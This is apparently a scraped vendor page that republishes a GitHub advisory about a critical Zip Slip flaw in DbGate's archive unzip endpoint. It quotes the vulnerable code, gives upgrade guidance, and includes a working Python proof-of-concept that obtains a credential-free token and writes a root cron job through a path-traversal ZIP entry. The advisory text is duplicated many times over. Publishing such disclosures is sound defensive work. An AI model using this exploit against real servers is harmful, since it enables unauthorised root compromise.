The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. **Affected code:** `packages/api/src/shell/unzipDirectory.js`, line 27: ```js const destPath = path.join(outputDirectory, entry.fileName); // No check that destPath stays within outputDirectory ``` Called from `packages/api/src/controllers/archive.js`, lines 291-293: ```js async unzip({ folder }) { const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); ``` The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints. **PoC:** ```python import requests, zipfile, io TARGET = "http://localhost:3000" # Get auth token (no credentials needed in default Docker) r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"}) token = r.json()["accessToken"] hdrs = {"Authorization": f"Bearer {token}"} # Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr("../../../../../../etc/cron.d/dbgate-pwn", "* * * * * root id > /tmp/pwned\n") buf.seek(0) # Upload ZIP r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs, files={"data": ("evil.zip", buf, "application/zip")}) info = r.json() # Save to archive requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs, json={"filePath": info["filePath"], "fileName": "evil.zip"}) # Trigger Zip Slip - writes cron job to /etc/cron.d/ requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs, json={"folder": "evil.zip"}) print("Check /tmp/pwned after 1 minute") ``` **Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.
The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. **Affected code:** `packages/api/src/shell/unzipDirectory.js`, line 27: ```js const destPath = path.join(outputDirectory, entry.fileName); // No check that destPath stays within outputDirectory ``` Called from `packages/api/src/controllers/archive.js`, lines 291-293: ```js async unzip({ folder }) { const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); ``` The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints. **PoC:** ```python import requests, zipfile, io TARGET = "http://localhost:3000" # Get auth token (no credentials needed in default Docker) r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"}) token = r.json()["accessToken"] hdrs = {"Authorization": f"Bearer {token}"} # Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr("../../../../../../etc/cron.d/dbgate-pwn", "* * * * * root id > /tmp/pwned\n") buf.seek(0) # Upload ZIP r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs, files={"data": ("evil.zip", buf, "application/zip")}) info = r.json() # Save to archive requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs, json={"filePath": info["filePath"], "fileName": "evil.zip"}) # Trigger Zip Slip - writes cron job to /etc/cron.d/ requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs, json={"folder": "evil.zip"}) print("Check /tmp/pwned after 1 minute") ``` **Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.
The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. **Affected code:** `packages/api/src/shell/unzipDirectory.js`, line 27: ```js const destPath = path.join(outputDirectory, entry.fileName); // No check that destPath stays within outputDirectory ``` Called from `packages/api/src/controllers/archive.js`, lines 291-293: ```js async unzip({ folder }) { const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); ``` The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints. **PoC:** ```python import requests, zipfile, io TARGET = "http://localhost:3000" # Get auth token (no credentials needed in default Docker) r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"}) token = r.json()["accessToken"] hdrs = {"Authorization": f"Bearer {token}"} # Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr("../../../../../../etc/cron.d/dbgate-pwn", "* * * * * root id > /tmp/pwned\n") buf.seek(0) # Upload ZIP r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs, files={"data": ("evil.zip", buf, "application/zip")}) info = r.json() # Save to archive requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs, json={"filePath": info["filePath"], "fileName": "evil.zip"}) # Trigger Zip Slip - writes cron job to /etc/cron.d/ requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs, json={"folder": "evil.zip"}) print("Check /tmp/pwned after 1 minute") ``` **Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.
The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. **Affected code:** `packages/api/src/shell/unzipDirectory.js`, line 27: ```js const destPath = path.join(outputDirectory, entry.fileName); // No check that destPath stays within outputDirectory ``` Called from `packages/api/src/controllers/archive.js`, lines 291-293: ```js async unzip({ folder }) { const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); ``` The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints. **PoC:** ```python import requests, zipfile, io TARGET = "http://localhost:3000" # Get auth token (no credentials needed in default Docker) r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"}) token = r.json()["accessToken"] hdrs = {"Authorization": f"Bearer {token}"} # Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr("../../../../../../etc/cron.d/dbgate-pwn", "* * * * * root id > /tmp/pwned\n") buf.seek(0) # Upload ZIP r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs, files={"data": ("evil.zip", buf, "application/zip")}) info = r.json() # Save to archive requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs, json={"filePath": info["filePath"], "fileName": "evil.zip"}) # Trigger Zip Slip - writes cron job to /etc/cron.d/ requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs, json={"folder": "evil.zip"}) print("Check /tmp/pwned after 1 minute") ``` **Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.
Update dbgate to 7.1.9 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanDbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE affects dbgate (npm). Severity is critical. The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. **Affected code:** `packages/api/src/shell/unzipDirectory.js`, line 27: ```js const destPath = path.join(outputDirectory, entry.fileName); // No check that destPath stays within outputDirectory ``` Called from `packages/api/src/controllers/archive.js`, lines 291-293: ```js async unzip({ folder }) { const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); ``` The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints. **PoC:** ```python import requests, zipfile, io TARGET = "http://localhost:3000" # Get auth token (no credentials needed in default Docker) r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"}) token = r.json()["accessToken"] hdrs = {"Authorization": f"Bearer {token}"} # Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr("../../../../../../etc/cron.d/dbgate-pwn", "* * * * * root id > /tmp/pwned\n") buf.seek(0) # Upload ZIP r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs, files={"data": ("evil.zip", buf, "application/zip")}) info = r.json() # Save to archive requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs, json={"filePath": info["filePath"], "fileName": "evil.zip"}) # Trigger Zip Slip - writes cron job to /etc/cron.d/ requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs, json={"folder": "evil.zip"}) print("Check /tmp/pwned after 1 minute") ``` **Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.
AI coding agents often install or upgrade packages automatically in npm. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| dbgatenpm | <=7.1.8 | 7.1.9 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate dbgate to 7.1.9 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanDbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE affects dbgate (npm). Severity is critical. The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. **Affected code:** `packages/api/src/shell/unzipDirectory.js`, line 27: ```js const destPath = path.join(outputDirectory, entry.fileName); // No check that destPath stays within outputDirectory ``` Called from `packages/api/src/controllers/archive.js`, lines 291-293: ```js async unzip({ folder }) { const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) }); await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder)); ``` The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints. **PoC:** ```python import requests, zipfile, io TARGET = "http://localhost:3000" # Get auth token (no credentials needed in default Docker) r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"}) token = r.json()["accessToken"] hdrs = {"Authorization": f"Bearer {token}"} # Create malicious ZIP with path traversal buf = io.BytesIO() with zipfile.ZipFile(buf, 'w') as zf: zf.writestr("../../../../../../etc/cron.d/dbgate-pwn", "* * * * * root id > /tmp/pwned\n") buf.seek(0) # Upload ZIP r = requests.post(f"{TARGET}/api/uploads/upload", headers=hdrs, files={"data": ("evil.zip", buf, "application/zip")}) info = r.json() # Save to archive requests.post(f"{TARGET}/api/archive/save-uploaded-zip", headers=hdrs, json={"filePath": info["filePath"], "fileName": "evil.zip"}) # Trigger Zip Slip - writes cron job to /etc/cron.d/ requests.post(f"{TARGET}/api/archive/unzip", headers=hdrs, json={"folder": "evil.zip"}) print("Check /tmp/pwned after 1 minute") ``` **Impact:** Arbitrary file write as root -> RCE. Full container compromise in Docker deployments.
AI coding agents often install or upgrade packages automatically in npm. A critical vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| dbgatenpm | <=7.1.8 | 7.1.9 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard